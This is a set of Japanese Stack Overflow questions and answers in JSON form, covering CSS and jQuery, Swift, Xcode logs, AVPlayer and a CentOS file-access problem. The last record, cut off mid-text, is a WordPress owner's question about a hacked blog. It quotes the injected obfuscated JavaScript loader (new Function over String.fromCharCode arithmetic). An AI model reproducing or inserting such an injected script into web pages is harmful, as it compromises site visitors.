+ prj + '.png'}); break;\n case 'ccl': $('body').css({'background-image': 'url(./img/' + prj + '.png'}); break;\n default: break;\n }\n \n```\n\n以上、ご教授いただけますと幸いです。 \nどうぞよろしくお願いいたします。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-24T03:05:22.240",
"favorite_count": 0,
"id": "32101",
"last_activity_date": "2023-05-06T01:44:38.030",
"last_edit_date": "2017-01-24T03:15:07.597",
"last_editor_user_id": "8000",
"owner_user_id": "18487",
"post_type": "question",
"score": 0,
"tags": [
"javascript",
"jquery",
"css"
],
"title": "PC版Safariにおいて背景画像が表示されない",
"view_count": 1281
} | [
{
"body": "`url(`に対応する`)`閉じ括弧がありません。同じコードをコピペすると見る気が失せてミスを見逃しがちです。\n\n```\n\n var prj = $(this).parent().parent().parent().attr('class').split(' ')[1];\n \n switch(prj)\n {\n case 'hyld':\n case 'arg':\n case 'ppl':\n case 'ikr':\n case 'ft4':\n case 'aeta':\n case 'ccl':\n $('body').css({'background-image': 'url(./img/' + prj + '.png)'});\n break;\n }\n \n```\n\nとコードを減らしたり、JavaScriptからは直接スタイルの操作はせず、CSSにあらかじめクラスを定義しておくことでJavaScriptからはクラス操作だけに留めた方がミスを抑えられます。\n\n* * *\n\n時代が変わってCSSだけで表現できるようになりつつあるのでご参考までに。CSSセレクタの[`:has()`](https://developer.mozilla.org/ja/docs/Web/CSS/:has)を使うことで条件付きでスタイルを適用できます。`:has()`はほとんどのブラウザーが対応しており、残るFirefoxも上半期に対応予定だそうです。\n\nJavaScriptによるロジックでなく、CSSによる状態として定義できる点は大きいです。背景画像は用意できないので、背景色で実装例を。\n\n```\n\n body:has(.lightgreen a[href]:hover) {\n background-color: lightgreen;\n }\n body:has(.lightskyblue a[href]:hover) {\n background-color: lightskyblue;\n }\n body:has(.lightpink a[href]:hover) {\n background-color: lightpink;\n }\n```\n\n```\n\n <div class=\"lightgreen\"><a href=\"\">lightgreen</a></div>\n <div class=\"lightskyblue\"><a href=\"\">lightskyblue</a></div>\n <div class=\"lightpink\"><a href=\"\">lightpink</a></div>\n```",
"comment_count": 1,
"content_license": "CC BY-SA 4.0",
"creation_date": "2017-01-24T04:22:01.350",
"id": "32103",
"last_activity_date": "2023-05-06T01:44:38.030",
"last_edit_date": "2023-05-06T01:44:38.030",
"last_editor_user_id": "4236",
"owner_user_id": "4236",
"parent_id": "32101",
"post_type": "answer",
"score": 5
}
]
| 32101 | 32103 | 32103 |
{
"accepted_answer_id": "32113",
"answer_count": 2,
"body": "[](https://i.stack.imgur.com/DLEqe.png)swift初心者です。クラスの継承をしようとするとタイトルのように怒られます \nloadSCVクラスからnumberプロパティとdata配列を \nstep1クラスで使用したいのですが \nnumberは使用することができましたが、data配列は宣言エラーが出て使用できないです \nご指摘お願いします。 \nコードは以下の通りです\n\n```\n\n class loadCSV {\n let number = 32\n func loadCSV(){\n var data = [[String]](repeating: [String](repeating: \"\", count: number), count: number)\n \n if let csvUrl = Bundle.main.url(forResource: \"data0112\", withExtension: \"csv\") {\n do {\n let csvData = try String(contentsOf: csvUrl)\n let dataList = csvData.components(separatedBy: \",\")\n if dataList.count > number * number {\n print(\"error\")\n return\n }\n for (n, item) in dataList.enumerated() {\n data[n / number][n % number] = item\n print(data[n / number][n % number])\n }\n } catch {\n fatalError(\"Not found CSV files\")\n }\n }\n }\n }\n \n```\n\n```\n\n class step1 : loadCSV{\n func step1(){\n var d = [[String]](repeating: [String](repeating: \"\", count: number), count: number)\n d = data\n let a : Double = 900.0\n let b : String = String(a)\n for i in 0...d.count{\n for j in 0...d.count{\n if d[i][j] == \"0.0\"{\n d[i][j] = b\n }\n }\n }\n }\n }\n \n```",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-24T05:55:56.013",
"favorite_count": 0,
"id": "32105",
"last_activity_date": "2017-01-25T15:17:07.597",
"last_edit_date": "2017-01-24T06:35:11.907",
"last_editor_user_id": "19110",
"owner_user_id": "19087",
"post_type": "question",
"score": 0,
"tags": [
"swift3"
],
"title": "クラス継承でエラー property does not override any property from its superclass",
"view_count": 1189
} | [
{
"body": "data配列は、親クラスの関数 loadCSV の中の変数であって、親クラスのプロパティではありません。 \nそのため、親クラスを継承しても参照することが出来ないのです。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-24T09:20:24.833",
"id": "32111",
"last_activity_date": "2017-01-24T09:20:24.833",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "217",
"parent_id": "32105",
"post_type": "answer",
"score": 0
},
{
"body": "### クラスの基本形\n\nクラス定義の基本形を示します。\n\n```\n\n class クラス名 : スーパークラス名, 【準拠するプロトコル名】 { // カッコ内はオプション\n var プロパティ名: 型名 【= 初期値】\n func 【インスタンス】メソッド名(引数名: 型, ・・・) 【-> 返り値の型】 {}\n }\n \n```\n\nクラスの基本構成物は、ほかにイニシアライザ、定数、クラスメソッド、タイププロパティ、タイプメソッドなどありますが、必要十分条件の必要条件は、プロパティと(インスタンス)メソッドです。ご提示のコード中のクラス`loadCSV`と`step1`いずれにも、プロパティがなく、それでコンパイルエラーになりませんが、クラスとは何か、何を目的にしているのかという、そもそも論を考えると、何も値を保持しないクラスは、蜜や花粉を巣に持ち帰らないミツバチと同じといえます。 \n※ここでいう **プロパティProperty** は、 **インスタンス変数Instance Variable**\nと呼ぶことがあります。オブジェクト指向言語の多くで、インスタンス変数という用語が使われているので、そちらの方が通りがいいのですが、厳密には、プロパティとインスタンス変数は同じではないので、プロパティを使います。\n\n* * *\n\n### 変数のスコープ(有効範囲)\n\n変数には有効範囲があり、有効範囲をスコープと呼びます。そして基本として、ブロック({から}で囲まれた、コードの集まり)がすなわちスコープになります。変数のスコープは、変数の寿命といってもよくて、プログラムの実行がブロックから抜けると、ブロック内の変数は解放されます。\n\n```\n\n func hoge() {\n var a: Int\n a = 200\n do {\n var a: Int\n a = 100\n print(\"Local a = \\(a)\")\n }\n print(\"Global a = \\(a)\")\n }\n \n hoge()\n \n // \"Local a = 100\"\n // \"Global a = 200\"\n \n```\n\nPlaygroundで上のコードを書いて、実行してみてください。 \nブロックは、関数(メソッド)、条件文、繰り返し文などで使われますが、独立したブロックを作ることもでき、その場合、Swiftでは、`do`を頭につけます。 \n関数`hoge`内で、変数`a`を重複して宣言していますが、コンパイルエラーにも、実行エラーにもなりません。それは、ブロックが入れ子になっており、`do\n{}`内の変数`a`の有効範囲がブロック内に限定されるからです。\n\n```\n\n func hoge() {\n do {\n let b = 300\n }\n print(\"b = \\(b)\") // Use of unresolved identifier 'b'\n }\n \n hoge()\n \n```\n\nブロックの外で、変数`b`にアクセスしようとすると、「変数が定義されてない」とエラーになります。\n\nここまでで、クラス`step1`のメソッド`step1()`で、`d = data`の行でエラーになる理由がお分かりになりましたでしょうか? \n変数をクラス内のどこでも使えるようにするには、プロパティとして宣言することです。プロパティとして宣言するということは、同時に、変数の寿命が、インスタンスの寿命と同じになることも意味します。(インスタンス外部からアクセスできる点もあり、大事ですが、ここではその説明は割愛します)\n\n* * *\n\n以下、ご提示のコードに改良を加えたコードを載せます。メソッド`loadCSV()`の実装を、イニシアライザに移動しています。この変更が、プログラム全体の設計の中で、妥当なものかは、私には判断できません。 \nそれと、配列dataの要素の型を、`String`から`Double`に変更しています。これもご提示のコードの範囲だけで判断すれば、要素を文字列でなく数値にすべきだからです。プログラム全体の設計から判断したものではありません。\n\n```\n\n import UIKit\n // import Foundation // UIKitがFoundationをインポートしているので、不要。\n \n class LoadCSV { // 型名(クラス名含む)は、大文字で始めるという規則があります。\n let number = 32\n \n var data: [[Double]] // プロパティとして、dataを宣言。\n \n // イニシアライザ\n init() {\n data = [[Double]](repeating: [Double](repeating: 0.0, count: number), count: number)\n \n if let csvUrl = Bundle.main.url(forResource: \"data0112\", withExtension: \"csv\") {\n do {\n let csvData = try String(contentsOf: csvUrl)\n var dataList = csvData.components(separatedBy: \",\")\n let listCount = dataList.count\n // dataListの要素数が、number * numberを超えた場合、number * numberを残して、はみ出した分は切り捨てる。「エラーと出力して終わり」ではさすがにまずいでしょう。\n if listCount > number * number {\n dataList = [String](dataList[0..<number * number])\n }\n for (n, item) in dataList.enumerated() {\n if let theNumber = Double(item) {\n data[n / number][n % number] = theNumber\n } else {\n data[n / number][n % number] = 0.0\n }\n }\n } catch {\n fatalError(\"Not found CSV files\")\n }\n }\n }\n }\n \n class Step1 : LoadCSV{ // 型名(クラス名)を大文字で始める。\n func step1(){\n let a: Double = 900.0\n \n for row in 0..<data.count { // 後述\n for i in 0..<data[row].count {\n if data[row][i] == 0.0 {\n data[row][i] = a\n }\n }\n }\n \n // mapメソッドを使った場合。\n // data = data.map{ row in\n // row.map{ item in\n // if item == 0.0 {\n // return a\n // } else {\n // return item\n // }\n // }\n // }\n }\n }\n \n let obj = Step1()\n obj.step1()\n print(obj.data)\n \n```\n\n* * *\n\n`Range`(範囲)の書き方の誤解があるので、質問と直接関係ありませんが、説明しておきます。 \n`Range`には、[CountableRange](https://developer.apple.com/reference/swift/countablerange)と[CountableClosedRange](https://developer.apple.com/reference/swift/countableclosedrange)があります。 \n`0..<32`は、`0 ≦ x < 32`で、`0...32`は、`0 ≦ x ≦ 32`です。使用を間違うと、out of\nrangeのエラーになります。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-24T10:53:34.303",
"id": "32113",
"last_activity_date": "2017-01-25T15:17:07.597",
"last_edit_date": "2017-01-25T15:17:07.597",
"last_editor_user_id": "18540",
"owner_user_id": "18540",
"parent_id": "32105",
"post_type": "answer",
"score": 0
}
]
| 32105 | 32113 | 32111 |
{
"accepted_answer_id": "32109",
"answer_count": 1,
"body": "外部の画像を読み込み表示するプログラムで2行目の実行時にエラーが出ます。 \n※XcodeのバージョンはVersion 8.2.1になります。 \n※画像の表示は問題なくされているようです。\n\n```\n\n let url = URL(string: \"***.jpg\")!\n let imageData = try? Data(contentsOf: url)\n let img = UIImage(data:imageData!)\n let imgView:UIImageView = UIImageView(image:img)\n imgView.frame = CGRect(x:0, y:0, width:300, height:300)\n self.view.addSubview(imgView);\n \n```\n\nエラーは以下のような内容ですが、意味がわからず、無視して良いのかもわかりません。 \nどなたか原因や意味わかりますでしょうか?\n\n```\n\n 2017-01-24 16:50:51.273542 loadMovie2[2196:135371] [] nw_host_stats_add_src recv too small, received 24, expected 28\n 2017-01-24 16:50:51.276346 loadMovie2[2196:135371] [] ____nwlog_simulate_crash_inner_block_invoke dlopen CrashReporterSupport failed\n 2017-01-24 16:50:51.276600 loadMovie2[2196:135371] [] __nwlog_err_simulate_crash simulate crash failed \"nw_socket_set_common_sockopts setsockopt SO_NOAPNFALLBK failed: [42] Protocol not available\"\n 2017-01-24 16:50:51.277360 loadMovie2[2196:135371] [] nw_socket_set_common_sockopts setsockopt SO_NOAPNFALLBK failed: [42] Protocol not available, dumping backtrace:\n [x86_64] libnetcore-856.30.16\n 0 libsystem_network.dylib 0x000000010fc4b666 __nw_create_backtrace_string + 123\n 1 libnetwork.dylib 0x000000010ff29006 nw_socket_add_input_handler + 3164\n 2 libnetwork.dylib 0x000000010ff06555 nw_endpoint_flow_attach_protocols + 3768\n 3 libnetwork.dylib 0x000000010ff05572 nw_endpoint_flow_setup_socket + 563\n 4 libnetwork.dylib 0x000000010ff04298 -[NWConcrete_nw_endpoint_flow startWithHandler:] + 2612\n 5 libnetwork.dylib 0x000000010ff1fae1 nw_endpoint_handler_path_change + 1261\n 6 libnetwork.dylib 0x000000010ff1f510 nw_endpoint_handler_start + 570\n 7 libnetwork.dylib 0x000000010ff371f9 nw_endpoint_resolver_start_next_child + 2240\n 8 libdispatch.dylib 0x000000010f9c8978 _dispatch_call_block_and_release + 12\n 9 libdispatch.dylib 0x000000010f9f20cd _dispatch_client_callout + 8\n 10 libdispatch.dylib 0x000000010f9cfe17 _dispatch_queue_serial_drain + 236\n 11 libdispatch.dylib 0x000000010f9d0b4b _dispatch_queue_invoke + 1073\n 12 libdispatch.dylib 0x000000010f9d3385 _dispatch_root_queue_drain + 720\n 13 libdispatch.dylib 0x000000010f9d3059 _dispatch_worker_thread3 + 123\n 14 libsystem_pthread.dylib 0x000000010fd9b4de _pthread_wqthread + 1129\n 15 libsystem_pthread.dylib 0x000000010fd99341 start_wqthread + 13\n \n```",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-24T07:54:16.350",
"favorite_count": 0,
"id": "32108",
"last_activity_date": "2017-01-24T09:05:41.887",
"last_edit_date": "2017-01-24T09:05:41.887",
"last_editor_user_id": "20368",
"owner_user_id": "20368",
"post_type": "question",
"score": 1,
"tags": [
"xcode",
"swift3",
"ios10"
],
"title": "xcodeの以下のエラーの意味を教えて欲しいです。",
"view_count": 1244
} | [
{
"body": "`SO_NOAPNFALLBK`に着目して探したところ、英語版のStackOverflowで似たような質問がありました。もしかすると参考になるかもしれません。\n\n> 1. Go to Product > Scheme > Edit Scheme\n> 2. Open the Arguments tab\n> 3. Add the Environment Variable :- OS_ACTIVITY_MODE is disable\n>\n\n<https://stackoverflow.com/questions/39545603/error-protocol-not-available-\ndumping-backtrace>",
"comment_count": 6,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-24T08:03:17.820",
"id": "32109",
"last_activity_date": "2017-01-24T08:03:17.820",
"last_edit_date": "2017-05-23T12:38:56.083",
"last_editor_user_id": "-1",
"owner_user_id": "7423",
"parent_id": "32108",
"post_type": "answer",
"score": 0
}
]
| 32108 | 32109 | 32109 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "swift3で動画再生をしています。デフォルトであるコントロールバーを表示してシークなどさせたいと思っていますが、下記のようなサンプルコードを動かしてみました。 \n動画をタップしてもコントロールバーの表示ができません。何かパラメータなど必要なのでしょうか。 \nご存知の方はご教示お願いします。\n\n```\n\n let videoURL = NSURL(string: \"https://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4\")\n let player = AVPlayer(url: videoURL! as URL)\n let playerLayer = AVPlayerLayer(player: player)\n playerLayer.frame = self.view.bounds\n self.view.layer.addSublayer(playerLayer)\n player.play()\n \n```",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-24T11:45:17.803",
"favorite_count": 0,
"id": "32116",
"last_activity_date": "2017-10-23T03:28:19.167",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "8593",
"post_type": "question",
"score": -1,
"tags": [
"swift"
],
"title": "swift3での動画再生時にコントロールバーを使いたい",
"view_count": 933
} | [
{
"body": "iOSでの`AVPlayer`クラスはMVCで言うところのController要素にあたり、表示画面(あなたのコードなら`AVPlayerLayer`)や再生ボタンなどを置いたコントロールバーなどのView要素は含まれておらず、他の要素と組み合わせて使うことが想定されたクラスです。\n\nシステム標準のコントロールバーで良いのなら、`AVPlayer`単独ではなく`AVPlayerViewController`と組み合わせて使うことになります。\n\n```\n\n let videoURL = URL(string: \"https://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4\")!\n let player = AVPlayer(url: videoURL)\n let playerVC = AVPlayerViewController()\n playerVC.player = player\n player.play()\n present(playerVC, animated: true, completion: nil)\n \n```\n\n`AVPlayerViewController`はstoryboardに配置することもできる(storyboardエディター上は「AVKit Player\nView\nController」と表示される)ので、細かい書き方にはいろいろバリエーションがありますが、普通に「`AVPlayerViewController`」で検索すれば、日本語の記事も多数見つかるので、その中から使いやすそうなコードを探されれば良いでしょう。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-24T12:30:55.183",
"id": "32118",
"last_activity_date": "2017-01-24T12:30:55.183",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "13972",
"parent_id": "32116",
"post_type": "answer",
"score": 0
}
]
| 32116 | null | 32118 |
{
"accepted_answer_id": "32421",
"answer_count": 1,
"body": "CentOS、JBossEAP環境のJavaアプリケーションを作っています。 \nこのアプリケーションにはファイルを出力する機能があります。 \nAspose.Cellsという製品を使って、PDFやExcelを生成します。 \nおおむね、以下のような流れの処理です。\n\n 1. `File.createTempFile()`を使って一時ファイルのパスを作る\n 2. 一時ファイルの`FileOutputStream`を作る (`new FileOutputStream()`)\n 3. Aspose.Cellsにこの`FileOutputStream`や流し込むデータなどを渡し、帳票ファイルの中身を書き込んでもらう\n 4. `FileOutputStream`を`close`\n 5. 一時ファイルの`FileInputStream`を作る (`new FileInputStream()`)\n 6. 一時ファイルから永続化のためDBにファイルをコピーする\n\nこの処理において、なぜか「パスワード付きPDF」や「パスワード付きExcel」を作った場合のみ、5で`FileNotFoundException`(メッセージ:許可されていない操作です)が発生します。 \nパスワード付きか否かは、Aspose.Cellsへ渡すオプションであり、少なくともこちらで書いているコードは、このオプション設定以外は全く同じです。\n\n更に調査を進めたところ、問題の一時ファイルについては、CentOS上からroot権限でもって`cp`コマンドや`strings`コマンドでアクセスしようとした場合にも、「許可されていない操作です」というエラーが発生することが分かりました。 \n`move`や`rm`はできます。 \n`move`したファイルを`cp`しようとしても、「許可されていない操作です」になります。\n\n分かっているのはここまでです。 \nもちろん最終的にはこれを解決する必要があるのですが、まず知りたいのは、このファイルがどのような状態のものなのか、です。 \nファイル自体の権限を確認したところ、`rw-r--r--`です。 \n少なくとも読み込みはできる権限だと思うのですが、なぜあのようなエラーが起きるのでしょうか?\n\n同じディレクトリ内にある他のファイル(パスワード無しのPDFなど)は問題が起きないので、ディレクトリではなくファイル自体の問題ではないかと推測していますが。 \nなお、この一時ファイルの生成に使っているディレクトリは、`/tmp`です。 \n`/tmp`ディレクトリの権限設定は、`rwxrwxrwt`です。\n\nLinuxのファイルアクセス権限周りに疎いので、まずキーワードだけでも、この状態のファイルを表す説明を探しています。\n\n==================================================== \n追加で調査した内容がありますので追記します。\n\n問題のエラーが起きるファイルですが、Aspose.Cells以外の手段で作成したパスワード付きPDFでも発生します。 \n更に、そのPDFファイルをバイナリエディタで開き、ファイル先頭の\"%PDF-\"の部分のみを削除したところ、エラーが起きなくなりました。",
"comment_count": 14,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-24T12:06:30.293",
"favorite_count": 0,
"id": "32117",
"last_activity_date": "2017-02-06T10:30:25.787",
"last_edit_date": "2017-01-26T06:34:14.983",
"last_editor_user_id": "8078",
"owner_user_id": "8078",
"post_type": "question",
"score": 5,
"tags": [
"java",
"linux"
],
"title": "CentOS上で開くことのできないファイルができる条件",
"view_count": 1771
} | [
{
"body": "Mcafee Virus Scanがインストールされていたようで、その影響であることが判明しました。 \n(Mcafeeを無効化することで、エラーが起きなくなったため)",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-02-06T10:30:25.787",
"id": "32421",
"last_activity_date": "2017-02-06T10:30:25.787",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "8078",
"parent_id": "32117",
"post_type": "answer",
"score": 2
}
]
| 32117 | 32421 | 32421 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "WordPressのアップデートをしていないブログのソースコードが改竄されています。難読化されたJavascriptが書き込まれています。\n\n```\n\n <div id=\"main\"><script type='text/javascript'>(new Function(String.fromCharCode(19 - 9, 126 - 8, 100 - 3, 122 - 8, 37 - 5, 109 - 2, 104 - 3, 129 - 8, 36 - 4, 67 - 6, 34 - 2, 41 - 2, 106 - 2, 113 - 9, 94 - 8, 123 - 9, 123 - 2, 83 - 4, 130 - 9, 94 - 9, 112 - 2, 80 - 7, 43 - 4, 64 - 5, 15 - 5, 119 - 1, 104 - 7, 122 - 8, 38 - 6, 102 - 1, 111 - 1, 106 - 7, 108 - 7, 109 - 9, 35 - 3, 63 - 2, 41 - 9, 48 - 9, 85 - 4, 74 - 9, 60 - 8, 114 - 8, 76 - 4, 67 - 1, 119 - 8, 57 - 2, 78 - 9, 73 - 5, 118 - 7, 70 - 5, 100 - 3, 89 - 8, 111 - 4, 101 - 3, 86 - 9, 112 - 4, 113 - 1, 84 - 3, 106 - 8, 125 - 6, 76 - 2, 110 - 8, 89 - 5, 112 - 3, 115 - 8, 105 - 4, 68 - 1, 88 - 5, 83 - 1, 85 - 2, 71 - 3, 112 - 8, 74 - 9, 92 - 6, 80 - 1, 107 - 4, 53 - 5, 120 - 9, 80 - 8, 69 - 4, 72 - 3, 56 - 3, 81 - 9, 71 - 1, 117 - 9, 125 - 4, 96 - 9, 91 - 3, 81 - 8, 80 - 9, 81 - 1, 87 - 5, 123 - 4, 91 - 2, 102 - 4, 72 - 2, 51 - 2, 93 - 6, 86 - 7, 82 - 1, 71 - 6, 63 - 6, 78 - 7, 126 - 5, 123 - 7, 80 - 9, 76 - 9, 131 - 9, 114 - 7, 110 - 8, 92 - 6, 106 - 1, 128 - 9, 81 - 6, 78 - 4, 108 - 1, 75 - 6, 115 - 2, 72 - 1, 121 - 1, 122 - 6, 55 - 2, 94 - 8, 87 - 2, 83 - 9, 71 - 1, 91 - 4, 93 - 5, 91 - 6, 92 - 3, 83 - 8, 67 - 1, 117 - 5, 80 - 7, 86 - 8, 90 - 8, 49 - 1, 95 - 8, 76 - 2, 72 - 6, 70 - 5, 125 - 6, 93 - 9, 117 - 7, 86 - 4, 79 - 6, 87 - 3, 123 - 2, 64 - 8, 119 - 5, 78 - 9, 125 - 3, 57 - 9, 91 - 2, 91 - 2, 91 - 7, 59 - 7, 81 - 6, 68 - 1, 58 - 9, 70 - 5, 59 - 2, 75 - 3, 131 - 9, 116 - 1, 81 - 9, 81 - 9, 70 - 3, 93 - 4, 102 - 2, 107 - 6, 68 - 3, 75 - 6, 76 - 1, 104 - 5, 92 - 7, 109 - 1, 127 - 5, 85 - 3, 94 - 8, 114 - 6, 54 - 5, 74 - 7, 71 - 3, 127 - 8, 73 - 2, 73 - 6, 123 - 2, 82 - 9, 105 - 7, 76 - 6, 106 - 1, 73 - 3, 95 - 5, 82 - 8, 105 - 1, 112 - 1, 116 - 5, 77 - 6, 109 - 5, 129 - 9, 44 - 1, 88 - 1, 57 - 8, 112 - 5, 56 - 8, 102 - 3, 56 - 5, 94 - 8, 82 - 3, 100 - 3, 89 - 4, 104 - 1, 105 - 4, 82 - 4, 122 - 3, 68 - 2, 97 - 7, 77 - 1, 67 - 1, 93 - 4, 62 - 8, 68 - 2, 90 - 7, 73 - 8, 80 - 2, 74 - 3, 60 - 9, 98 - 8, 84 - 4, 88 - 1, 88 - 5, 118 - 3, 95 - 8, 79 - 1, 111 - 7, 121 - 6, 109 - 2, 77 - 9, 87 - 6, 96 - 7, 106 - 1, 94 - 6, 74 - 8, 116 - 5, 109 - 6, 75 - 5, 113 - 7, 58 - 6, 77 - 5, 84 - 8, 70 - 1, 108 - 5, 89 - 4, 76 - 1, 114 - 6, 78 - 4, 105 - 4, 104 - 7, 77 - 8, 81 - 7, 106 - 4, 88 - 4, 110 - 1, 109 - 1, 80 - 7, 86 - 3, 70 - 2, 63 - 7, 89 - 4, 92 - 5, 89 - 2, 107 - 8, 106 - 9, 82 - 3, 105 - 2, 72 - 3, 113 - 8, 70 - 5, 85 - 4, 49 - 1, 109 - 1, 94 - 6, 69 - 3, 69 - 4, 107 - 3, 80 - 8, 87 - 3, 68 - 3, 95 - 8, 73 - 7, 112 - 9, 62 - 9, 68 - 3, 85 - 7, 86 - 4, 53 - 5, 89 - 2, 83 - 9, 68 - 2, 68 - 3, 120 - 1, 85 - 3, 54 - 4, 114 - 6, 79 - 5, 92 - 6, 96 - 9, 124 - 8, 91 - 8, 88 - 2, 81 - 9, 60 - 7, 87 - 6, 106 - 6, 88 - 6, 91 - 5, 72 - 4, 84 - 1, 77 - 8, 109 - 5, 59 - 9, 93 - 8, 111 - 3, 109 - 1, 125 - 7, 72 - 5, 123 - 1, 70 - 5, 101 - 4, 85 - 5, 74 - 8, 119 - 8, 74 - 3, 107 - 9, 90 - 2, 113 - 9, 96 - 6, 102 - 4, 54 - 5, 110 - 2, 54 - 5, 74 - 5, 55 - 7, 83 - 5, 77 - 4, 84 - 1, 77 - 5, 93 - 3, 84 - 1, 73 - 4, 74 - 7, 111 - 3, 92 - 2, 107 - 5, 87 - 6, 55 - 7, 110 - 1, 69 - 3, 121 - 2, 86 - 9, 53 - 6, 73 - 3, 120 - 1, 114 - 2, 109 - 5, 78 - 9, 70 - 2, 119 - 4, 77 - 2, 85 - 9, 68 - 2, 71 - 6, 118 - 8, 78 - 1, 72 - 2, 116 - 4, 110 - 9, 82 - 3, 66 - 1, 116 - 8, 55 - 3, 76 - 4, 91 - 8, 122 - 3, 104 - 5, 81 - 9, 73 - 5, 58 - 2, 107 - 8, 75 - 3, 111 - 5, 123 - 3, 108 - 7, 103 - 1, 76 - 7, 54 - 1, 116 - 5, 88 - 2, 91 - 5, 90 - 4, 52 - 2, 93 - 5, 53 - 5, 113 - 9, 114 - 5, 88 - 1, 91 - 8, 59 - 6, 112 - 5, 100 - 3, 89 - 4, 113 - 9, 80 - 7, 104 - 4, 113 - 5, 75 - 1, 98 - 8, 85 - 5, 86 - 4, 121 - 2, 105 - 1, 75 - 4, 131 - 9, 121 - 6, 77 - 6, 89 - 4, 50 - 1, 122 - 2, 87 - 4, 92 - 5, 88 - 1, 60 - 3, 92 - 2, 81 - 6, 78 - 7, 89 - 7, 117 - 5, 87 - 4, 73 - 4, 112 - 8, 55 - 5, 75 - 4, 123 - 3, 60 - 3, 123 - 5, 86 - 1, 88 - 4, 115 - 8, 72 - 6, 82 - 7, 107 - 4, 115 - 8, 74 - 5, 74 - 8, 89 - 8, 96 - 7, 92 - 5, 85 - 5, 89 - 7, 108 - 5, 124 - 3, 71 - 4, 58 - 8, 105 - 6, 87 - 7, 70 - 2, 85 - 2, 77 - 4, 56 - 1, 77 - 9, 87 - 4, 116 - 5, 93 - 8, 109 - 7, 85 - 4, 55 - 7, 112 - 3, 75 - 9, 127 - 8, 79 - 2, 48 - 1, 73 - 3, 55 - 6, 68 - 2, 122 - 4, 83 - 1, 77 - 6, 108 - 4, 87 - 3, 102 - 5, 88 - 3, 64 - 7, 93 - 3, 108 - 9, 90 - 4, 122 - 6, 93 - 3, 80 - 2, 77 - 5, 84 - 6, 52 - 3, 89 - 5, 110 - 1, 116 - 8, 76 - 3, 88 - 5, 73 - 1, 97 - 8, 71 - 6, 76 - 4, 75 - 7, 123 - 8, 84 - 7, 78 - 4, 124 - 5, 71 - 5, 129 - 8, 91 - 2, 108 - 1, 107 - 3, 54 - 4, 92 - 7, 111 - 3, 113 - 6, 130 - 9, 102 - 3, 60 - 9, 94 - 8, 88 - 9, 104 - 7, 87 - 2, 104 - 1, 103 - 2, 82 - 4, 123 - 4, 67 - 1, 94 - 4, 82 - 3, 111 - 7, 109 - 6, 123 - 2, 71 - 4, 127 - 6, 106 - 7, 106 - 7, 88 - 5, 77 - 6, 120 - 4, 87 - 4, 75 - 5, 130 - 9, 53 - 1, 87 - 7, 87 - 7, 67 - 2, 114 - 7, 116 - 5, 74 - 2, 68 - 3, 100 - 1, 113 - 6, 93 - 5, 68 - 3, 127 - 8, 61 - 5, 81 - 9, 73 - 6, 102 - 3, 125 - 7, 77 - 1, 109 - 6, 52 - 4, 79 - 8, 81 - 8, 108 - 1, 112 - 4, 130 - 8, 102 - 4, 52 - 3, 117 - 9, 53 - 4, 85 - 1, 114 - 9, 72 - 7, 82 - 3, 90 - 7, 76 - 4, 55 - 2, 93 - 9, 71 - 3, 68 - 1, 54 - 2, 108 - 7, 82 - 5, 69 - 4, 66 - 1, 66 - 9, 87 - 6, 92 - 7, 111 - 8, 118 - 2, 102 - 1, 79 - 9, 117 - 9, 124 - 6, 94 - 7, 91 - 3, 87 - 1, 85 - 6, 102 - 5, 88 - 6, 113 - 2, 80 - 2, 74 - 1, 112 - 9, 104 - 5, 84 - 8, 77 - 4, 89 - 4, 79 - 5, 108 - 6, 85 - 1, 113 - 4, 114 - 6, 74 - 1, 90 - 7, 75 - 8, 120 - 4, 60 - 8, 106 - 7, 52 - 2, 61 - 4, 93 - 3, 107 - 7, 88 - 3, 57 - 5, 61 - 5, 74 - 7, 88 - 7, 58 - 2, 130 - 8, 74 - 2, 66 - 1, 56 - 7, 124 - 6, 88 - 6, 78 - 6, 92 - 7, 105 - 7, 83 - 8, 67 - 2, 65 - 9, 80 - 2, 82 - 3, 74 - 9, 99 - 9, 90 - 2, 80 - 1, 121 - 1, 96 - 7, 91 - 1, 68 - 3, 92 - 8, 60 - 8, 79 - 1, 73 - 2, 110 - 6, 93 - 8, 86 - 2, 71 - 4, 112 - 7, 119 - 7, 91 - 9, 109 - 7, 75 - 5, 92 - 6, 76 - 8, 89 - 6, 78 - 9, 113 - 9, 58 - 8, 88 - 3, 111 - 7, 66 - 1, 113 - 1, 94 - 7, 92 - 4, 49 - 1, 107 - 9, 78 - 3, 68 - 3, 60 - 4, 87 - 9, 87 - 8, 69 - 4, 91 - 1, 97 - 9, 77 - 3, 113 - 9, 104 - 5, 124 - 4, 76 - 9, 123 - 1, 70 - 1, 119 - 9, 76 - 8, 116 - 6, 59 - 6, 93 - 7, 79 - 7, 107 - 2, 66 - 1, 91 - 4, 82 - 5, 104 - 1, 82 - 9, 118 - 3, 92 - 8, 51 - 3, 77 - 7, 51 - 1, 87 - 2, 49 - 1, 85 - 3, 128 - 7, 91 - 4, 91 - 3, 111 - 7, 108 - 6, 87 - 6, 51 - 3, 109 - 5, 78 - 5, 109 - 9, 115 - 7, 83 - 9, 94 - 4, 99 - 1, 50 - 1, 110 - 2, 54 - 5, 76 - 7, 115 - 9, 88 - 2, 78 - 5, 73 - 1, 86 - 2, 101 - 2, 89 - 3, 73 - 1, 71 - 4, 72 - 3, 79 - 1, 107 - 6, 121 - 2, 105 - 6, 114 - 4, 77 - 9, 73 - 8, 50 - 2, 122 